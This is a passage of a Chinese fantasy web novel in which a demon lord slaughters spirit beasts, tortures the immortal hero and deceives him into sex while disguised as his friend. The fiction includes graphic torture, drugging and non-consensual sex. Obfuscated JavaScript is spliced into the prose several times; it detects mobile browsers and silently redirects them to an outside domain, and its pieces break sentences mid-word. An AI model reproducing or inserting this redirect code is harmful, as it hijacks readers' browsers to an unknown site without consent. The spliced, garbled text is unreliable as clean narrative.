l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762326|174437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 沈砚台对他的话没放在心上。 心思都放在调整弓箭的角度上,他的箭头直直对上了那嚎啕大哭的幼崽。 “吵死了。” 几乎是在同一时间,他放弓,月轻盈用燃烧生命为代价使用了天骨。 天道的气息铺天盖地,沈砚台被震慑,愣了一瞬。 瞬息百变。 他的眼瞳里只装下月轻盈挣开他的术法,义无反顾扑向了幼崽。 而他射出去的箭,就要落在月轻盈的身上。 开弓没有回头箭。 见将幼崽抱在怀里,死死护住,丝毫不顾及自己安危的月轻盈。 沈砚台反应过来后暴怒! 月轻盈为了一只兔子又鲁莽做事! 那他就偏要和他作对! 那他就偏要不如他的意愿! 他不能放任他的玩物一次次触碰他的底线,一次次让自己的情绪因他改变。 沈砚台情急之下,伸出一手,从肘部开始他的手开始蜕变,显现出蛟龙的姿态。 他运法,将沉重的箭往回收。 肆意横行的冲劲,和不顾一切的挽回相撞。 箭被硬生生收回,沈砚台却也因为反噬的庞大厚重的力气,一只手直接被伤的断臂粉碎。 “噗!”沈砚台吐血。 先前的食灵花毒,心头血,沈砚台的旧伤还未恢复,又添新伤。 看着自己失去的手臂,沈砚台眼里闪过翻涌的狂暴的怒意。 “用凤枷!” 凤枷是凤凰残损的神识。 它的爪子会牢牢扣住犯人的肩胛骨,其自身强大的修为重力,会让犯人动弹不得。 月轻盈乃第一仙尊。 沈砚台和他交手,也只能五五开。 不用外力,他的术法并不会让月轻盈乖乖站着不动多长时间。 魔族士兵使用凤枷。 一道唳叫响起,金色凤凰展翅的影像出现,撼动的仙力让人不住下跪。 月轻盈抬头,下一刻,便被凤凰的尖锐利爪刺穿了仙骨,失去了仙力。 “月轻盈,我给你机会,离开雪月兔幼崽的身边并杀了它,我便不会对你用刑。” 25. 第 25 章 月轻盈被刚才箭矢的罡风扫到。 摔在地上,一袭白衣早已成血色,头发也已经散落,混乱狼狈。 他眼睛猩红,眼底都是仇恨,怀中抱着雪月兔幼崽的动作却温柔至极。 经他出手阻止,魔族士兵们停止了杀戮,他看着周边的血山血海,满目疮痍。 “沈砚台,我只恨自己不能救下所有的仙兽,你让我放开小仙兽诀无可能!” 沈砚台盯着他,久未出声。 半晌后,他深如潭的眼睛带上了狠戾。 “去数,查看树岭里还有多少仙兽未被屠戮。” 月轻盈紧张,“你要干什么!沈砚台,你到底还想干什么!” 凤枷控制了他的行动能力,慌张焦心的盯着魔族士兵的动作。 见他们进了树岭深处,月轻盈心慌,眼里仇恨加深,憎恶的看着沈砚台。 “沈砚台你要是对这些仙兽再做什么,我一定会杀了你!” 沈砚台冷着脸,一言不发,只盯着树岭出口的位置。 没多久,魔族士兵们出来了。 “尊上,树岭内还有一百零八只仙兽未杀尽。” 月轻盈闻言落泪,竟然被沈砚台等人屠杀的只剩下一百零八只仙兽。 “沈砚台,你看看你都干了什么!” 沈砚台撇了他一眼,盛怒中,他只会更加无情,更加冷静,更加残虐。 “换一把弓。” “给我破神弓。” 很快就有一把通体白色的弓箭被送到沈砚台的手中。 月轻盈不知道他要做什么,但眼里并无惧意。 沈砚台说,“月轻盈我要对你用射刑,可有怨言?” 月轻盈抿紧了唇瓣。 “不跟我求饶?”沈砚台见他仍用仇视他的视线看他,更加冷血。 将箭搭在弦上,沈砚台瞄准了月轻盈,冷笑:“看你还能嘴硬到什么时候!” 月轻盈竟是闭上了眼睛。 沈砚台再度被气。 “去,把他怀里碍眼的崽子拿开,他愿意用自己一人换取一百零八只仙兽的命,我们也得信守承诺。” 在他怀里已然安睡的幼崽,忽然被一只无情铁手捞着后颈皮抢走。 让他感到安心的气息不在,让它感到温暖的源头没了,又是一阵哇哇大哭。 月轻盈看着幼崽,满心焦急。 “还有空关心那个东西?” 沈砚台眉眼深压,眼里都是压不住的风暴。 他抬起一手,竟然将月轻盈变成了雪月兔,还变大了他的身体。 有城墙那么大的雪月兔,被凤枷控制,立在人前。 “嗯,靶心变大了,我射多少只箭,都能盛的下!” 变成雪花兔的月轻盈,不知道沈砚台要做什么,却不惊慌,只是讥讽一笑。 不过一死。 这简直是在挑衅。 沈砚台眯眼,开始拉弓,避开月轻盈身上所有致命的地方,手法狠戾的放弓。 破神弓箭它不会使修士们的躯体破损,反而是会损伤他们的灵台。 就像是人的灵魂。 每被射中一箭,就似魂魄被拉扯揉碎,承受极大的痛苦。 但若灵台也承受不住巨大的痛苦,便会产生裂缝,更严重时会破碎。 那时,坏了的灵台无法保护修士的身体,就会变成实质性的伤害,如眼变瞎,或是断腿。 月轻盈眼睁睁看着箭羽来到眼前,被射中时,一阵搅动翻涌的剧痛,让他差点发出惨叫! 在他没有缓冲过来的期间,沈砚台射出了第二箭,第三箭,第四箭! 见承受不住,不愿喊叫丢了气势,便将自己唇瓣咬破的月轻盈,沈砚台心再度发狠! “月轻盈,一百零八只仙兽,我便对你用一百零八次射刑,你可有得受了!” 即使这痛苦比渡劫时,还要疼上一百倍,月轻盈仍是没有松口求饶。 时间过的漫长。 只见沈砚台不停拉弓,放弓。 似箭雨般的箭矢不住洞穿月轻盈的身体。 “噗呵……”灵台终究是没抵挡住,碎了一条裂缝,月轻盈重伤吐血。 “一百箭!” …… “一百零八箭!” 放下破神弓,看着已经破破烂烂,奄奄一息的月轻盈,沈砚台气的额角青筋暴起。 整整一百零八箭,月轻盈硬是没吭一声,硬抗过来,期间没有说过一句求饶。 沈砚台挥手,术法散去,收回凤枷。 月轻盈立刻犹如断了的残枝,往地上倒去。 沈砚台 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762327|174437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 握紧了手中的破神弓,盯着他看了许久,转身离开,走时不忘吩咐。 “月轻盈……让他在这里自生自灭,吩咐下去,所有人不得踏入树岭!” 一行人快速撤去。 月轻盈躺在地上,大口呕血,神魂破碎,危在旦夕。 这时,感到危险散去的仙兽们,脚步谨慎的探出了头。 见只有月轻盈,他们收回吓出来的飞机耳,交换了眼色。 是这个哥哥救了它们! 仙兽们上前围住了月轻盈,低下头用湿乎乎的鼻尖去碰他的手,他的脸。 月轻盈恍惚,撑着最后一口气,气若游丝的也不知道在问谁,“幼崽还好吗?” 灵台破碎,他的眼睛已经瞎了,不能视物,四肢也断的差不多了,就剩一口气吊着。 他只能勉强用这个方法试一试。 一只叼着幼崽的雪月兔走了过来,跳到月轻盈身上呼噜叫了两声。 月轻盈细细听,见有类似幼崽哼唧的声音瞬间放心,虚弱的笑了。 “你收养了它?多谢。” 绷紧的心弦一松,话一落音,月轻盈立刻晕了过去。 仙兽们顿时一阵焦躁不安,在他身边啼叫。 听闻树岭那边传来的仙兽们的哭嚎声,沈砚台一阵心烦意乱。 走了没两步,忽然气血翻涌,吐出了一口血。 旁边有魔族士兵盯着,他抿紧唇,硬生生将血吞了下去。 食灵花毒发作了。 他的脚步有些迟钝,微微侧目,随即想到了什么,他又径直放快了脚步,眼直视前方。 “上次大闹婚礼的那些人抓到了吗?” 士兵:“抓到了,已经按照您的吩咐,将人关在水牢。” “去看看。” 水牢,是沈砚台常用来整治犯错的手下的地方。 这里阴暗潮湿,不见天日,里面什么样的刑罚都有。 沈砚台对什么都不上心,但是对发明刑罚却极具天赋。 就连刚才对月轻盈使用箭刑,也是灵光一闪想到的。 走在去水牢的地上,沈砚台发觉自己又在想月轻盈,心情变得极差。 在他身边陪着的士兵,大气都不敢喘,他这魔主子的脸色已经冷得能将人冻死了。 “人在哪?” 26. 第26章 “尊上,人在这里。”看守牢狱的魔族鼠妖,上前带路。 众人来到牢房前。 这里阴暗,阳光透不进来,沈砚台上前,这才看清里面关押着一男人。 眉宇细致青隽,虽面无表情,眼瞳却一点漆黑,他一身青衣,坐姿挺拔,有着柔且坚硬的风骨。 “这就是大闹婚礼的人?”沈砚台问出在乎的问题。 “是,我们在暗中找出了他们的同伙,这人最弱,看着也最美,就将其抓来了。”鼠妖不敢隐瞒。 沈砚台若有所思看了一眼鼠妖,想到体内的食灵花毒,不在耽误,挥手让这些人都出去。 水牢立刻变地清净。 沈砚台看着男人,隔空伸手抓住了男人的衣襟,动作粗俗,男人闷哼了一声。 毫无爱怜之心的沈砚台,略略挥手,两人从水牢来到他的房间。 将男人往床上一丢,掐了个清尘术,沈砚台开始解自己的衣裳。 这个男人是大婚上闹刺杀的人,他抓住这些人的原因只有一个,就是弄清楚他们是否也能解食灵花的毒。 先前他虽然有月轻盈可以解毒,但是他和月轻盈之间的纠缠也变多了。 发觉自己在月轻盈身上停留的视线变多,花费的时间也越来越多,还不能按照计划解毒,为了防止以后出现什么变故,不必要的关注应当断则断。 这帮人的出现,时机刚好。 沈砚台接近男人。 男人眉宇柔软,嘤咛了一声,竟是朝着沈砚台伸出了双手,眼里也不自觉的带上了媚态。 “早知道魔尊沈砚台生的俊美无俦,亲眼所见,果然言不虚传。” 沈砚台站住不动,挑眉讥笑:“你们刺杀我,被我抓住不反抗也不逃跑,竟是投怀送抱?” “我和他们不一样,他们想灭了魔族,可我只想尝尝魔尊的味道。” 男人双手搭在沈砚台的肩膀,媚眼如丝,身子如无骨似的攀着沈砚台一阵磨蹭点火。 不知为何,沈砚台脑中竟然是闪过月轻盈的脸。 月轻盈那时是怎样的反应? 他被喂了药,懵懂无知,什么都不会,无助又茫然,软绵绵的反抗,然后被他拉着一起跌入□□中。 胆子也很大,对他挑三拣四,要快要慢要这样要那样,累了还要抱抱,不抱就用牙咬,拿脚踹,委屈倔强的看着你。 沈砚台出神。 “呀,魔尊你为何发笑?”男人惊诧。 沈砚台垂眸看着自己□□,已经把衣服脱光的男人,眉眼带上了厌烦和嫌弃。 “同是男人,差别真大。” “滚!” 沈砚台穿好衣服,再一抬手,两人回到水牢中。 男人四下环顾,脸上带着慌张不解,“魔尊这是怎么了?” “不怎么,只是反应过来你有没有用,何需用我自己试?” “来人。”他甫一开口,鼠妖近身听令。 “找个人来。” 不消片刻,鼠妖去而复返,身后跟着一看起来文文弱弱的凡间男人。 “药喂了吗?” “喂了。” “把他丢进去。” 沈砚台一个指令,鼠妖一个动作。 凡间男人被丢进牢房里,和被俘的男人两人大眼瞪小眼。 很快,凡间男人身上的媚药发作,他几乎是在瞬间将男人扑倒。 沈砚台全程在旁围观,仔细观察,没有错过一点细节。 见他们完成了该做的事,沈砚台掐算着时间,身子前倾,凝眸关注。 “噗……”半晌后,凡间男人吐出了血,脸部紫乌,身子直挺挺倒下,气息全无。 沈砚台眼眸一闪,面无表情,但从他起身,到头也不回的离开,便知,他在这里没有寻到想要的东西。 和月轻盈一样对食灵花毒免疫的人,终究还是和月轻盈不一样。 他们并不能解食灵花的毒。 想到月轻盈,沈砚台闭眼,在瞬间来到了树岭。 他踩着清风,垂眸注视。 逃出一劫的仙兽们,此刻行成了一个庞大的包围圈,牢牢的将昏迷不醒的月轻盈护在中间。 他一身血衣,头发四散,脸色煞白,唇边还有干涸的血线,气息微弱,仙力也很薄弱。 再这样放人他不管,他会死吧。 “好歹也是第 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762328|174437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一仙尊,如何……弱成这样。” 沈砚台来到月轻盈身边。 仙兽们感到先前那股弑杀和掠夺的气息去而复返,第一时间惊地站起了身子,吓出了飞机耳。 可是想到月轻盈,它们竟是眼眸一狠,虽怕的身子发抖,却还是朝沈砚台露出了尖牙、长角、喷射出毒液、还有一坨坨口水…… 沈砚台:“……” 手好痒。 “让开,我能救他。”沈砚台再近一步。 已开灵智的仙兽们虽不能说话,却是齐齐摇头,不相信他。 沈砚台额角青筋鼓动,答应了月轻盈又不能杀了它们,最后没办法,他只能改了攻势。 盘腿坐在地上,闭上眼睛,掐诀,开始吸纳周围的仙气。 不顾仙气与自身魔力相冲,一点点劈开筋脉,炼化仙气,往月轻盈的体内输送。 仙兽们看到这一幕,这才犹豫的信了几分,再沈砚台苍白着脸,说再不救他,他会死后,才齐齐离开,眼睛仍是不放心的盯着沈砚台。 沈砚台感到稀奇,又心生陌生的情绪。 月轻盈救下这些仙兽是值得的,它们宁愿放弃自己的生命,依旧守着他。 他自小到大,没人教过他,还有这样能换来信任的方法。 月轻盈很得人心。 他蹲下身,伸手触碰月轻盈唇边的血线,一点点擦拭干净,弯腰,打横将他抱起,离开了树岭。 他们离开后不久,树岭的上方突然出现了一道十分霸道,魔气厚重如山的结界。 到了别云间,沈砚台先后给月轻盈服用了各种丹药,这才换来月轻盈增长了一点点的生机。 实在没办法,沈砚台变回原身。 努力用意念控制有自己想法的蛟龙尾巴,将月轻盈盘在自己的怀里,最后,额头抵上月轻盈的额头。 充满耐心又不怕繁复,一点点敲开月轻盈的灵台,为他修补。 月轻盈一开始挣扎,不肯接纳,直到他感到了温暖的气息才羞涩的一点点敞开灵台。 别云间里。 一条庞大盘踞着身体的玄色蛟龙,小心翼翼的呵护着怀中一株显现出萎靡姿态的小莲花。 27. 第27章 月轻盈仿若在做梦。 梦里他在水里养的好好的,忽然有一条黑色蛟龙跃出水面,咬他的花瓣。 他又气又急,他又不是食物,干嘛要吃他! 小莲花委屈隐忍,瑟缩的团成一团。 可恶的蛟龙竟然是趴到他的身上,想在他身上做窝! 小莲花气的花枝颤抖,又害怕的眼泪打转,奶声奶气:“我都要断啦,坏龙龙!” 沈砚台噗嗤发笑,没想到月轻盈小时候竟这么可爱。 他的神智忽然起了一阵涟漪,他立刻赶在月轻盈清醒之前,将自己变成石墨的样子。 须臾,别云间里魔气涌动,黑色蛟龙不在,取而代之的是石墨将月轻盈抱在怀中的画面。 月轻盈的灵台修补的差不多了,不多时就会醒来。 而在他耐心等待的期间,月轻盈却是在他身上换了个睡姿继续睡了过去。 接近数日,他都在经历失去,精神疲惫一时半会需要休息也是正常。 索性无事,沈砚台便放开自己的神识,开始巡视自己的领地。 很快,就让他发现一处不对劲的地方。 藏宝阁殿前,有两个魔族人鬼鬼祟祟的,悄悄靠近,便将两人的对话听了去。 小偷妖一号:“寻思着家里的媳妇要生了,魔尊弄来的丹药他又不用,便想着拿一点,丹药多,魔尊不会发现的。” 小偷妖二号:“可你不是不识字吗?” “要识字干什么,丹药可都是宝贝!” “你说的对。” 沈砚台屈居一角,闻言起了坏心思,他将两人偷得的丹药神不知鬼不觉的拿了回来。 就是他不要的东西,就算堆在这里坏了烂了臭了也不能让别人觊觎。 他拿起丹药一看,是孕丹。 这东西对他无用,他本想丢了,本体那边的月轻盈却是悠悠转醒了。 沈砚台眼里眸光一闪。 他花了那么大的代价,不惜耗费自己的灵魂精魄去修补月轻盈的灵台,全然是因为他还有用。 他要他给他解毒。 他收起孕丹的速度加快,微一沉淀,便回到了别云间。 月轻盈确实醒了,只不过微蹙着眉头,眼睛看起来也有些迷茫。 “醒了?”沈砚台声音放柔,确保不会吓到月轻盈。 月轻盈现在脑袋有点晕乎。 他记得他的灵台被碎,如今怎得完好无损,且灵台中还多了一道自己很熟悉的气息? 可是这个气息他又想不起来是谁。 直到听到说话声,他微微抬眸看过去,见到了石墨,他才有了反应,眼瞳缓缓瞪大。 沈砚台见他这个反应,心惊,下意识的抬手摸脸,以为自己露馅了。 谁知,月轻盈却是眼眸一软,抬手抱着他的腰,缓缓往他的怀里钻。 怪不得,他总能察觉到一股熟悉的气息,原来是石墨。 “你又一次救了我是吗?” 沈砚台心渐渐放回肚子里,庆幸他没发觉。 “石墨,你又一次救了我,你为什么对我这么好?” 沈砚台好一阵凝神思索:“你长的好看。” 月轻盈鼻尖泛酸,“不管你怎么说,这次谢谢了。” “不客气。” 月轻盈忽然从他怀里坐了起来,眼眸紧张的看着他:“你有没有事,你救我的时候,有没有被沈砚台那个魔头发现?” 沈砚台心头有些憋闷。 在石墨这里,他就是担心这担心那,提到自己就是魔头。 “为何你这么担心我?喜欢我?” 月轻盈有些狐疑,但见石墨的脸色有些奇怪,便乖顺的回答了。 “你对我好,我自然关心你。” 想起自己杀了月轻盈两个徒弟、一众正道修士、前不久还杀死了那么一堆仙兽的沈砚台无语凝噎。 他看着月轻盈这张漂亮出尘的脸,想他什么都不知道,被他玩弄在手掌间,心里就有些阴暗。 “是的,我救了你,这么算起来,你是不是对我有所亏欠?” 月轻盈点头,长长的睫毛都透着柔顺二字,“亏欠的。” “那现在我要你补偿我,你不会拒绝的对不对?” “自然不会,你想要什么……?” 月轻盈的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762329|174437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话没有说完,就被石墨伸过来掀开他衣襟的手给吓的顿住了。 “我要你。” 月轻盈微微一愣,但在看清楚石墨眼里的认真后,垂下头,默默无言的褪下了自己的衣裳。 石墨看着这样顺从的月轻盈,忽然心里有点难受,不想看到他这么委曲求全的一面。 “你对上沈砚台的时候,又是骂他打他恨不得杀了他,怎么你不这样对我?” “你不一样,你是石墨,你对我有恩,我报答你,就是……一会儿你能不能不要那么凶?” 每次双修的时候,月轻盈经常会累的饥肠辘辘,还会四肢无力。 石墨看着月轻盈眼里打转的泪水,想到了灵台里的那个小月轻盈。 他闭眼,深深吐出一口浊气,心里诡异的有丝不舍得弄他了。 但是他中的食灵花毒又迫在眉睫,他睁开眼,凑近亲吻月轻盈的眼睛。 “我动作慢些。” 半晌后,一截纤细粉白的手求救似的向前挣逃,不一会被一只大掌强势的拖回,按压固定在原地不准他动。 月轻盈不记得过去了多久,他很累很饿,腰被掐着翻身的时候,他余光里突然瞥见到有一粒丹药从沈砚台的衣裳里滚出。 他眼里有挣扎,想开口找石墨讨要,可连想到自己已经欠了他许多,便咬牙忍着了。 这时候的石墨专注着月轻盈的一举一动,缓缓低头,看着珠圆玉润的丹药,想着可以恢复体力,拭去上面的灰尘塞入月轻盈的口中。 “吃了。” 他的掌心握着月轻盈纤细修长的脖颈,指尖将丹药推进他微微掀开一条缝的唇中。 感受到月轻盈喉结的上下滑动,看着他清瘦满是吻痕咬痕的背脊,石墨眼眸一深。 事后,解了一部分食灵花毒的沈砚台通体舒畅。 他看着睡在他腿边,一身狼藉,眼角还挂着泪珠的月轻盈,伸手将遮住他容貌的头发拨开。 他就这样注视着他的睡颜,后知后觉哪里不对劲。 他一贯懒散,身上不带任何累赘,更不会有丹药。 有也只是刚才从两个小偷妖那里缴获的孕丹! 28. 第28章 沈砚台眸光倏然一冷,猛地盯住月轻盈光滑平坦的腹部! 他不能有子嗣! 事态紧急不亚于他中了食灵花的毒的程度! 沈砚台头疼欲裂,眼底猩红,面部狰狞,他盯着毫无防备的月轻盈纤细的脖颈,缓慢的伸出了手。 就在这时候,月轻盈忽然一阵娇嗔咕哝,“不要了……” 沈砚台灵台清醒,顿住的手缓缓曲起,见月轻盈竟是轻轻抽泣,他压抑心里的憋闷,伸出指尖戳了一下他好看的额头。 用力之大,月轻盈的眉心处很快就浮现一个不太圆润的指印。 不行。 沈砚台收回手,他现在还不能杀了月轻盈。 再者说,食用了孕丹,月轻盈也不可能这么快就会有孩子。 沈砚台心脏绷紧,打算赌一赌。 赌他会在月轻盈怀上孩子之前,率先解了食灵花的毒,然后……再杀了他。 如此一想,沈砚台就没有那么急躁了。 这时候,蜷缩在地上的月轻盈,竟是用手揉了揉眼睛,憨态竟现。 沈砚台眼里没有情绪,盯着他的一举一动,眼眸忽明忽暗。 “你醒了?”开口的嗓音沙哑又带着疲惫的哼软,月轻盈立刻眨巴眼,闭上嘴不说话了。 沈砚台挑眉,看着他悄然红透的白玉耳朵,心情缓和。 “醒了。”沈砚台见他穿着衣物,便起身道:“先前看你很累的样子,我去给你弄点吃的来。” 月轻盈背对着他,声音小的如蚊吟,“多谢石墨兄。” 没多久,石墨拎回来两条雪月,通体散发着幽光,个大条肥,看起来就很好吃。 “我回来了。”沈砚台将鱼放在一边,猛地抬头竟是没发现月轻盈的身影。 他脸色立刻变地难看,转身就要出去寻,一道如玉般相撞的声音响起。 “你要去哪?” 沈砚台高大的身躯一震,迅速回头,就见月轻盈窝在一个小角落里,怀中抱着一只肥硕的雪月兔。 “你跑……算了,你抱着它干什么?” “我只是没想到,你真的把它养的很好。”月轻盈握着雪月兔的小山竹一阵揉捏,眼里不禁弥漫上了水雾。 “沈砚台杀了树岭里很多的仙兽……” 他抬眸,眼里溢满悲伤,“石墨兄,你可看到那日惨状?” 石墨不说话,月轻盈知道,他肯定是看到了。 他怀中紧紧抱着雪月兔,眼里的杀意和恨意蓬勃爆发,“石墨兄,我一定要杀了沈砚台!” 沈砚台莫名心堵。 他的视线下移,落在月轻盈的腹部,眼里的杀意一闪而过。 “自然,你只要多和我双修,修为上升,定有杀了沈砚台的一天。” 月轻盈垂泪点头。 之后的两人默默无言。 沈砚台在处理雪鱼,月轻盈在和雪月兔玩。 半晌后,月轻盈出声道:“石墨兄。” “怎么了?” 月轻盈头枕在雪月兔的身上,感受着它毛茸茸的触感,心里也一阵柔软。 “石墨兄,你对我这么好,几次三番救我,我送你礼物怎么样?” “你想要送我什么?”沈砚台颇感兴趣,回头看他,却见他一脸兴冲冲。 “送你人间美味。” 月轻盈放下雪月兔,走到沈砚台的身边,犹豫了一会,伸手扣住了他的手腕。 “我们去人间走走。” 沈砚台跟着月轻盈走了。 据他所说,人间有烟火,有很甜的糖,有很多快乐的笑声,有大人的叮嘱,小孩的哭闹,很多很多。 沈砚台是不屑去人间的,人间里的都是一群没有灵气的废物。 可是后来,他却在人间寻找月轻盈的身影千百万回。 两人踩着清风到了人间。 一处漆黑充满危险的山峰脚底下,就有一长长的发着光的蜿蜒街道。 “你来过人间吗?我来过很多次,偷偷来的,我本来就是人间小孩,被父母卖出去被师傅捡到才开始修炼的。” 说到这里他有一些不好意思,他带着沈砚台闯入明亮的烟火下面,笑得腼腆。 “所以我很怀念这里,我想着哪日不做修士了,就来做一个凡人。” 沈砚台一路上听他说了很多,人流很多,两人的手不知不觉的牵在了一起。 沈砚台觉得自己一点都没有玩到,他很忙,他要一直盯着在人群中游刃有余的月轻盈,才能不跟丢他。 他会放下作为仙尊该有的矜持,带很丑的面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762330|174437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 具吓他,藏在角落里突然跳出来蒙住他的眼睛。 他会笑了,一开始抿唇笑,接着是眉眼弯弯笑,后来会笑着喊他石墨。 那么明艳柔美的笑,看的沈砚台不知为何心脏有些悸动的异样感。 他怔然地看着月轻盈,眼里有着迷茫不解。 人群中忽然有一玩闹的小孩推搡了一下月轻盈的腰,他没站稳,歪到在石墨的怀中 时间好像在这一刻变地缓慢。 沈砚台盯着月轻盈,月轻盈缓缓抬眼,眼神闪躲,欲语还休。 沈砚台忽然有了不妙的预感。 街道吵闹,月轻盈踮起脚尖,凑到他的耳边说:“石墨兄,你可会一直待我这样好?” 沈砚台心神一震! 脸的瞬息间变地极其难看! 月轻盈只顾着害羞,没有发觉他的异常,继续轻声慢语道:“如若有一日,我得以杀了沈砚台大仇得报,只要你不嫌弃,我们不做双修表面夫夫,做真的神仙眷侣可好?” 沈砚台虽然早有心理准备,可还是咬牙切齿起来! 他一开始计划的是,扮成石墨骗月轻盈,最后告知他真相,欣赏他震惊难过难以承受羞辱的一面。 如今计划很成功。 可是他没想到这么成功,月轻盈竟然真的因为石墨几次带有目的的对他好,便上心了。 说好的等他毒解,便是自己解开石墨身份的骗局的时刻,然后杀了月轻盈。 现在…… 他眉眼幽沉。 他的毒已经解开了大半,只要他在骗上一骗,就能真的如计划的一样。 解毒,披露身份,杀了月轻盈。 可是…… 看着月轻盈在等一个骗子的回答而忐忑不安的样子,他又莫名生气! 他杀了他两个徒弟,杀了一众正道修士,前些天才杀了那么多的仙兽! 一桩桩一件件,哪件不深刻? 月轻盈却是只记住了石墨! 沈砚台的叛逆心理越发肆虐。 “好,我答应你。”他牵起月轻盈的手,温柔至极,眼睛却是冷的,“不用等你杀了沈砚台我们才可以在一起,我们现在就在一起。” 等你们欢天喜地在一起,我就当着你的面杀了你心心念念的石墨! 29. 第29章 “那我们怎么才算在一起?” 月轻盈看着身处喧闹明亮的街道中,挺拔俊逸的石墨,呐呐有些不知所措。 石墨的回应他很开心也很珍惜,怎么在一起他却犯了难。 他已然和沈砚台在众族面前成了亲。 想到沈砚台他脸色一白忽然抽身,低下头惴惴不安,“不……不对,你不能和我在一起,若是被沈砚台知道……” “无碍。” 虽然轻柔却很坚定的一句话,让月轻盈一愣,他看着石墨,眼里有着酸楚。 “你和我在一起有可能会死,你也不惧?” “不惧。” 石墨抬手蒙上月轻盈的眼睛,“别哭,这是我们心心相印的大喜日子,就算要哭,也是在我们合圆的时候哭。” 月轻盈闻言,呼吸一紧再度缓缓松弛,心脏揪紧,他动了恻隐之心。 他不要放弃石墨。 石墨……是他的救赎,是支撑他活下去的唯二信念。 “说到大喜,我们又在人间,盈盈,我们成亲吧。” 月轻盈眼眸倏然一酸,有泪光闪过,他怕被石墨看见,迅速垂下眼。 “可是这里,我们没有居所……要去哪里?” “去哪里?”石墨若有所思点头,“方才来的时候,路遇一座大山,大山里的那些小妖小怪就让他们成为我们成亲的见证人。” 月轻盈恍惚间想起,这小镇的不远处确实有一座大山。 “好。” 两人买了红绸红布,石墨用法,将在深夜里显得幽暗静谧的大山上布满了红装。 大婚之日,石墨也是想讨个喜庆,没有用自己的修为去威慑小妖小怪,而是拱手弯下腰真诚邀请。 小妖小怪们虽惧怕石墨的修为,可见他这么有礼,又听闻是婚礼,皆都十分乐意前去帮忙。 木头搭成的小木屋,成了一个简单的婚宴。 “有请新娘子!”一兔妖高声欢呼。 在众妖用自己的修为,铺成的一条宽阔发光的道路里,月轻盈着一袭红衣,满面红光,笑容柔美的向前走。 在尽头,是同样穿着红衣高大挺拔丰神俊逸的石墨,正满面含笑等着他。 “请新郎新娘拜天地!” 月轻盈眸光柔柔,和石墨相视一笑,随即低下头对拜。 大山里一片喜色。 小妖小怪们也没有见过大仙举办婚礼,一个兴奋竟然是举办起了篝火宴会。 就在快要礼成的时候,天边忽有大片的黑云压了过来。 阴暗沉重的气息,带着死亡的湿冷,刮起了大风。 “怎么了怎么了?” 小妖小怪经不住如此强劲的气势,被刮的东倒西歪。 月轻盈见状预感不妙,他脸色煞白让小妖小怪们赶紧跑! 小妖小怪们全都愣住了,眼里有着不解和茫然,他们生于这座大山,这里就是他们的家,他们要去哪里? “石墨,你也快走!” 这股不详的气息,翻涌的魔气,月轻盈瞬间联想到是沈砚台来了。 他看着毫不知情一脸单纯的小妖小怪们,忽然想起来树岭的仙兽们被屠的一幕。 他心一沉,使用仙力,欲将这些小妖小怪赶走。 然后这座大山里竟是不知在什么时候被沈砚台下了结界。 月轻盈无计可施,看着这一条条鲜活的生命,有可能下一瞬就会消失,慌的身子发软,跌坐在地。 沈砚台是不会放过这里所有人的。 “怎么办?是我害死了这些小妖小怪。” “都是我的错,石墨和这些小妖怪要被我害死了!” 月轻盈慌不择路,冷静全无,他想起沈砚台的狠戾,杀人不眨眼的手段,怕的眼泪颗颗掉落。 “盈盈,盈盈,你看着我!” 见月轻盈快要崩溃,石墨一脸关切的看着他,“没事的没事的,我在这里。” “石墨……”月轻盈眼里溢出绝望,狠狠抓住了石墨的衣袖,语无伦次:“石墨……大家都要死在这里了……” “没事的没事的。”石墨轻声诱哄,抬手擦去月轻盈脸上触感湿热的泪水。 “别怕,夫君帮你解决,夫君做你的靠山。” 